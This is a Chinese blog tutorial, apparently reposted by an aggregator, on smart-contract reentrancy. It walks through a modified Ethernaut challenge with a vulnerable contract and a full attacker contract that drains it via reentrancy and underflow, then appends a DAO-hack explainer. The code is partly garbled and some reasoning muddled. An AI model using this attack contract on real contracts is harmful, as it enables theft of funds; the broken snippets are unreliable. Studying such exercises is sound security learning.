区块链骇客第一讲:重入攻击
Posted 77Brother
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了区块链骇客第一讲:重入攻击相关的知识,希望对你有一定的参考价值。
本篇文章开启区块链骇客专栏的第一讲,让我决心开写本专栏的首要原因是对未来的职业选择有了一个确定的规划。
日后的更新频率将会不小于等于每周一讲,欢迎各位读者监督和指正,一起学习一同进步!
📕1. 挑战
- 这是
Ethernaut
中的一个例子(已修改) - 现在把需求交给你:使用重入攻击将以下合约中的资金全部取走。
- 你会先想到什么?什么是重入攻击?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/math/SafeMath.sol";
contract Reentrance
using SafeMath for uint256;
mapping(address => uint256) public balances;
constructor() public payable
function donate(address _to) public payable
balances[_to] = balances[_to].add(msg.value);
function balanceOf(address _who) public view returns (uint256 balance)
return balances[_who];
function withdraw(uint256 _amount) public
if (balances[msg.sender] >= _amount)
(bool result, ) = address(msg.sender).call.value(_amount)("");
if (result)
_amount;
balances[msg.sender] -= _amount;
receive() external payable
📕2. 思考
挑战先放在那,作为我们最后的一个实战练习。
先来看看重入攻击,到底是什么?
⭐重入原理:检查-生效-交互模式
检查-生效-交互模式是solidity官方给出的该语言所遵循的机制
同时它也是重入攻击所利用的原理
用简练的语言概括这个模式
- 检查:检查函数是否能满足被正常调用的条件;
- 生效:处理合约状态变量修改;
- 交互:在这些事情完成之后,才能与外部合约做交互;
这就是一个合约函数从被调用到上链同步的流程;
有同学不理解这个模式,那我举个例子描述:
- 你去银行提款机取钱;
- 首先你得带卡吧,没卡取不了;除了带卡,你带的也得是本行的卡吧,带错了也取不了;带对卡了,你也得保证你卡里有钱吧,不然取啥钱;有钱也不一定管用,你还得保证你的卡是可用的…
- 当你满足了所有条件后,银行账户余额将会提前减少你取的数额,并将改变后的余额写进系统;此时提款机才吐钱,你的手上才多了这笔钱;
- 在这些事情完成之后,你才能拿这笔钱去做其他事情;
这下懂了吧!
🚀大胆猜想
那既然合约基本都遵循这个原理,如何利用它?
- 可不可以趁合约修改状态还没闭环时,再修改它的状态?
- 想一想算法中的递归,设置一个条件,直到状态变量达到条件时递归才停止;
- 在合约中有没有这个条件存在,如何触发合约的递归呢?
📕3. 实操Reentrance
合约
我们看上文留下的挑战
⭐**引入:**SafeMath库,合约按理来说将不会发生溢出错误,除开没用到该库的地方;
⭐**构造器:**合约无构造器;
⭐函数:
donate
捐赠函数,可以向任意地址_to
捐赠以太,balances
哈希表记录数额;balanceof
查看余额函数,返回地址_who
记录的余额;receive
接受以太函数;
⭐问题函数:
withdraw
提款函数,被捐赠地址可以通过此函数提取以太;
function withdraw(uint _amount) public
if(balances[msg.sender] >= _amount)
(bool result,) = msg.sender.callvalue:_amount("");
if(result)
_amount;
balances[msg.sender] -= _amount;
receive() external payable
☠ 这个函数有两个大问题
- 首先合约版本<8.0,这就意味着除了用到safemath库以外的地方,都可能存在溢出漏洞;如
balances[msg.sender] -= _amount;
它明明可以写成balances[msg.sender].div(_amount);
调用safemath库的div
方法来避免安全问题,但它就是写成了-=_amount
; 不过这也正常,由于减少余额之前做了一个判断:if(balances[msg.sender] >= _amount)
,因此在正常情况下不可能发生漏洞;那么在不正常的情况下呢? - 更致命的问题 在于这个函数没有遵循 检查-生效-交互模式。形象来说,就是你马上要拿到这笔钱了,却跟银行说这钱不能够打到我的账上,于是又问银行要了这笔钱,这会给合约带来致命的问题(勿代入现实生活)
现在我们写一个合约来攻击Reentrance
合约
AttackContract.sol
//SPDX-License-Identifier: Unlicense
pragma solidity >=0.6.0;
import './Reentrance.sol';
contract AttackReentrance
Reentrance private attackedContract;
address private owner;
uint256 private initialDonation;
//重入锁指针
bool private exploited;
constructor(Reentrance _attacked) pubilc
//传入被攻击合约地址
attackedContract = _attacked;
exploited = false;
//初始化合约拥有者
owner = msg.sender;
//合约提款函数
function withdraw() external
uint256 balance = address(this).balance;
(bool success,) = owner.callvalue: balance("");
require(success,"you are not owner of the contract!");
function exploit() external payable
require(msg.value > 0, "donate something!");
initialDonation = msg.value;
// 向被攻击合约捐赠 10 wei
attackedContract.donatevalue: msg.value(address(this));
// 提取 传入数额
attackedContract.withdraw(initialDonation);
// 由于被攻击合约会产生下溢漏洞因此它的余额在合约中将会无限放大
// 现在就可以直接将被攻击合约余额全部提取
attackedContract.withdraw(address(attackedContract).balance);
//接收以太默认函数
receive() external payable
//加入重入锁,防止本合约被攻击
if (!exploited)
exploited = true;
//重入攻击关键!!在接受以太之时调用提款函数
//造成状态叠加,破环(检查-生效-交互模式)
attackedContract.withdraw(initialDonation);
⭐解析攻击合约
此攻击合约巧妙利用了被攻击合约的两大漏洞!
把焦点放到exploit()
和receive()
函数
- 调用
exploit()
函数,传入10wei以太。 - 在
exploit()
函数中,首先调用被攻击合约的捐款函数,参数为被攻击合约; - 然后调用被攻击合约的
donate
函数,参数为10wei; - 调用被攻击合约的
withdraw()
函数,被攻击合约将在此时朝攻击合约发送10wei以太; - 最关键的一步:攻击合约receive()函数被动接收以太,但在函数中再一次地,调用了被攻击合约的withdraw()函数!
- 至此被攻击合约陷入递归状态,将会不断地提款直至被攻击合约的余额发生下溢;
- 最后我们利用下溢错误,将被攻击合约余额全部提取至攻击合约;
- 接下来调用攻击合约的
withdraw()
函数将余额提取到自己的钱包。
📕4. 总结
在攻击过程中,我们破坏了检查-生效-交互模式
,将合约的状态始终卡死在balances[msg.sender] >= _amount
状态,
使得balances[msg.sender] -= _amount
余额不断减少,直至下溢漏洞的产生。一旦产生下溢,balances[msg.sender]
将会变为无限大即2的256次方,此时提取合约全部余额,将会被合约视为理所当然!
🚀更多区块链技术干货请关注
区块链 智能合约安全 重入攻击(re-entrancy attack)DAO incident
泄露资金的合约
合约有多种导致资金泄露的方式。例如,合约可能将资金转给非指定的收款人;或者将超额资金转给合法收款人等。
以下展示了对DAO合约的攻击,该攻击者借此盗取了6000万美元。大家可以观察到,该合约有一个状态变量shares。将状态变量视为可由任何函数访问的全局变量。
- shares维护用户地址和相应份额之间的映射。
- 股东可以调用withdraw()来提取他们的份额。
contract UnsafeContract1{
// Mapping of address and share
mapping(address => uint) shares;
// Withdraw a share
function withdraw() public {
if (msg.sender.call.value(shares[msg.sender])())
shares[msg.sender] = 0;
}
}
如果用户在链外调用withdraw(),那么UnsafeContract1将以良性方式运行。
在这种情况下,合约发送一条消息将份额通过msg.sender.call.value()转给用户,然后通过更新下一行中的shares将份额设置为0。
攻击发生的情况是,收款人是一个合约而非用户。当合约调用方调用withdraw()时,被调用者执行msg.sender.call.value()并将执行控制权传递给调用者即合约,在这种情况下可以回调到withdraw()。
请注意,在withdraw()中,只有在if(msg.sender.call.value())终止后,调用方的shares才会更新为0。当恶意合约回调withdraw()时,它实际上是通过强制它停留在if()指令,来防止程序指针更新shares。这允许恶意合约多次提款,直到其燃料费被消耗殆尽。
如果收款人是用户而非合约,那么他将无法回调合约,因此执行将按预期结束。
这种攻击也被称为重入攻击(re-entrancy attack)。
作者:Zilliqa爱好者中文社区
链接:https://www.jianshu.com/p/5379e44280f5
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
以上是关于区块链骇客第一讲:重入攻击的主要内容,如果未能解决你的问题,请参考以下文章
[区块链安全-Ethernaut]区块链智能合约安全实战-连载中